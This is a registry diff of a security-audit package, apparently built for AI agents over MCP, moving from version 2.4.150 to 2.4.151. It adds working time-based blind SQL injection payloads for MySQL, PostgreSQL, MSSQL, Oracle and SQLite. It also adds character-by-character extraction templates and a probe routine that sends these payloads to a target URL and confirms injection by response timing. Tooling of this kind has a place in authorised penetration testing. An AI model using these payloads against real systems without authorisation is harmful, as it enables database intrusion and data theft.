blitzstrike 2.4.150 → 2.4.151

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,20 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.151] — 2026-10-11
9
+
10
+ ### Added — time-based blind SQLi (per-DBMS, detection + extraction)
11
+
12
+ - `blind_sqli` now returns a correct per-DBMS time oracle + `time_fn`: SLEEP(sec)
13
+ (mysql), pg_sleep(sec) (postgresql), WAITFOR DELAY (mssql, stacked ;IF),
14
+ dbms_pipe.receive_message (oracle, a function — not the dbms_lock.sleep procedure),
15
+ randomblob (sqlite). Fixed the previous MySQL-only IF() syntax that leaked into
16
+ the mssql/oracle extraction templates.
17
+ - `blind_oracle` gained a `time` sink + `time_dbms` option: after arithmetic probes
18
+ flag SQL context, the time probes (TRUE/FALSE delay branch) confirm a blind SQLi
19
+ via a >2s timing differential when the boolean body is identical.
20
+ 547/547 tests.
21
+
8
22
  ## [2.4.150] — 2026-10-11
9
23
 
10
24
  ### Fixed — func-paren-split WAF bypass (MySQL 8.0 correctness)
package/dist/index.js CHANGED
@@ -59962,13 +59962,41 @@ function listWafBypassDbms() {
59962
59962
  // src/blind-sqli.ts
59963
59963
  var WAF_BYPASS = WAF_BYPASS_FLAT;
59964
59964
  function oracleConfirm(dbms) {
59965
- const time = dbms === "mssql" ? "WAITFOR DELAY '0:0:5'" : dbms === "postgresql" ? "pg_sleep(5)" : dbms === "oracle" ? "dbms_lock.sleep(5)" : dbms === "sqlite" ? "randomblob(500000000)" : "SLEEP(5)";
59965
+ const time = {
59966
+ mysql: {
59967
+ true_: `' AND IF(1=1,SLEEP(5),0)-- -`,
59968
+ false_: `' AND IF(1=2,SLEEP(5),0)-- -`,
59969
+ fn: "SLEEP(sec)"
59970
+ },
59971
+ postgresql: {
59972
+ true_: `' OR (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`,
59973
+ false_: `' OR (SELECT 1 FROM pg_sleep(0)) IS NOT NULL--`,
59974
+ fn: "pg_sleep(sec)"
59975
+ },
59976
+ mssql: {
59977
+ true_: `'; IF (1=1) WAITFOR DELAY '0:0:5'--`,
59978
+ false_: `'; IF (1=2) WAITFOR DELAY '0:0:5'--`,
59979
+ fn: "WAITFOR DELAY '0:0:sec' (stacked ;IF)"
59980
+ },
59981
+ oracle: {
59982
+ true_: `' OR 1=1 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59983
+ false_: `' OR 1=2 AND dbms_pipe.receive_message('x',5) IS NULL--`,
59984
+ fn: "dbms_pipe.receive_message('x',sec) (needs EXECUTE; dbms_lock.sleep is a procedure)"
59985
+ },
59986
+ sqlite: {
59987
+ true_: `' AND 1=1 AND randomblob(500000000)--`,
59988
+ false_: `' AND 1=2 AND randomblob(500000000)--`,
59989
+ fn: "randomblob(sec*100000000)"
59990
+ }
59991
+ };
59992
+ const t = time[dbms];
59966
59993
  return {
59967
59994
  boolean_true: `' AND 1=1-- -`,
59968
59995
  boolean_false: `' AND 1=2-- -`,
59969
- time_true: `' AND IF(1=1,${time},0)-- -`,
59970
- time_false: `' AND IF(1=2,${time},0)-- -`,
59971
- note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below."
59996
+ time_true: t.true_,
59997
+ time_false: t.false_,
59998
+ time_fn: t.fn,
59999
+ note: "TRUE vs FALSE differential = byte-count (e.g. TRUE=2814 vs FALSE=0), status code, or timing. A clean oracle is the prerequisite for every extraction below. Use the boolean oracle when the body differs; fall back to the time oracle when the body is IDENTICAL (only timing differs)."
59972
60000
  };
59973
60001
  }
59974
60002
  function playbook(dbms) {
@@ -60042,7 +60070,7 @@ function playbook(dbms) {
60042
60070
  oracle: oracleConfirm(dbms),
60043
60071
  extraction: {
60044
60072
  boolean: `' AND SUBSTRING(({query}),{pos},1)='{char}'--`,
60045
- time: `' AND IF(SUBSTRING(({query}),{pos},1)='{char}',1,0)=1 WAITFOR DELAY '0:0:{sec}'--`,
60073
+ time: `'; IF (SUBSTRING(({query}),{pos},1)='{char}') WAITFOR DELAY '0:0:{sec}'--`,
60046
60074
  method: "binary-search the charset. @@version → DB_NAME() → SYSTEM_USER → tables → columns → data."
60047
60075
  },
60048
60076
  metadata: {
@@ -60066,7 +60094,7 @@ function playbook(dbms) {
60066
60094
  oracle: oracleConfirm(dbms),
60067
60095
  extraction: {
60068
60096
  boolean: `' AND SUBSTR(({query}),{pos},1)='{char}'--`,
60069
- time: `' AND CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_lock.sleep({sec}) ELSE dbms_lock.sleep(0) END--`,
60097
+ time: `' AND (SELECT CASE WHEN SUBSTR(({query}),{pos},1)='{char}' THEN dbms_pipe.receive_message('a',{sec}) END FROM dual) IS NOT NULL--`,
60070
60098
  method: "binary-search the charset. banner → user → tables → columns → data (Oracle has no stacked info_schema; use all_tables/all_tab_columns)."
60071
60099
  },
60072
60100
  metadata: {
@@ -62300,6 +62328,15 @@ function sstiProbes(value) {
62300
62328
  function xssProbe(value, marker) {
62301
62329
  return { sink: "xss", name: "marker", payload: `${value}${marker}` };
62302
62330
  }
62331
+ function timeProbes(dbms, value) {
62332
+ const p = blindSqli(dbms);
62333
+ if (!p)
62334
+ return [];
62335
+ return [
62336
+ { sink: "time", name: "time_true", payload: `${value}${p.oracle.time_true}` },
62337
+ { sink: "time", name: "time_false", payload: `${value}${p.oracle.time_false}` }
62338
+ ];
62339
+ }
62303
62340
  function classifyBlindProbe(input) {
62304
62341
  const same = input.bodyHash === input.baselineHash;
62305
62342
  let signal = false;
@@ -62322,6 +62359,7 @@ function classifyBlindProbe(input) {
62322
62359
  async function blindOracle(baseUrl, param, value, opts = {}) {
62323
62360
  const base = baseUrl.replace(/\/+$/, "");
62324
62361
  const sinks = opts.sinks ?? ["sql", "ssti", "xss"];
62362
+ const timeDbms = opts.timeDbms ?? "mysql";
62325
62363
  const marker = `zz${Math.random().toString(36).slice(2, 10)}zz`;
62326
62364
  const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike oracle probe)" };
62327
62365
  const timeoutMs = opts.timeoutMs ?? 8000;
@@ -62345,6 +62383,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62345
62383
  probes.push(...sstiProbes(value));
62346
62384
  if (sinks.includes("xss"))
62347
62385
  probes.push(xssProbe(value, marker));
62386
+ if (sinks.includes("time"))
62387
+ probes.push(...timeProbes(timeDbms, value));
62348
62388
  const results = [];
62349
62389
  for (const p of probes) {
62350
62390
  const t0 = Date.now();
@@ -62364,6 +62404,16 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62364
62404
  body,
62365
62405
  marker
62366
62406
  });
62407
+ let signal = cls.signal;
62408
+ let reason = cls.reason;
62409
+ if (p.sink === "time") {
62410
+ if (p.name === "time_true" && timing > 2000) {
62411
+ signal = true;
62412
+ reason = "time-based TRUE branch delayed the response (delay primitive fired) — blind SQLi confirmed via timing.";
62413
+ } else if (p.name === "time_false") {
62414
+ reason = timing < 2000 ? "FALSE branch returned instantly — the delay is conditional (clean time oracle)." : "FALSE branch also delayed — timing is not conditional (likely not a time oracle).";
62415
+ }
62416
+ }
62367
62417
  results.push({
62368
62418
  sink: p.sink,
62369
62419
  name: p.name,
@@ -62373,8 +62423,8 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
62373
62423
  timing_ms: timing,
62374
62424
  body_hash: bodyHash.slice(0, 12),
62375
62425
  same_as_baseline: cls.same_as_baseline,
62376
- signal: cls.signal,
62377
- reason: cls.reason
62426
+ signal,
62427
+ reason
62378
62428
  });
62379
62429
  } catch {
62380
62430
  results.push({ sink: p.sink, name: p.name, payload: p.payload, status: 0, size: 0, timing_ms: 0, body_hash: "", same_as_baseline: false, signal: false, reason: "fetch error/timeout" });
@@ -65063,16 +65113,17 @@ ${statusLine}` : statusLine },
65063
65113
  base_url: string2().describe("Target base URL"),
65064
65114
  param: string2().describe("Parameter name to probe (e.g. id)"),
65065
65115
  value: string2().describe("Baseline value for the parameter (e.g. 1)"),
65066
- sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss'])")
65116
+ sinks: string2().optional().describe("JSON array of sinks to probe (default ['sql','ssti','xss']); add 'time' for time-based blind detection (after SQL context is already flagged)"),
65117
+ time_dbms: string2().optional().describe("DBMS for the time-based delay primitive (mysql | postgresql | mssql | oracle | sqlite; default mysql)")
65067
65118
  }
65068
- }, async ({ base_url, param, value, sinks }) => {
65119
+ }, async ({ base_url, param, value, sinks, time_dbms }) => {
65069
65120
  let s;
65070
65121
  try {
65071
65122
  s = sinks ? JSON.parse(sinks) : undefined;
65072
65123
  } catch {
65073
65124
  return { content: [{ type: "text", text: JSON.stringify({ error: "invalid sinks JSON" }) }] };
65074
65125
  }
65075
- return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s })) }] };
65126
+ return { content: [{ type: "text", text: JSON.stringify(await blindOracle(base_url, param, value, { sinks: s, timeDbms: time_dbms })) }] };
65076
65127
  });
65077
65128
  server.registerTool("oob_start", {
65078
65129
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.150",
3
+ "version": "2.4.151",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {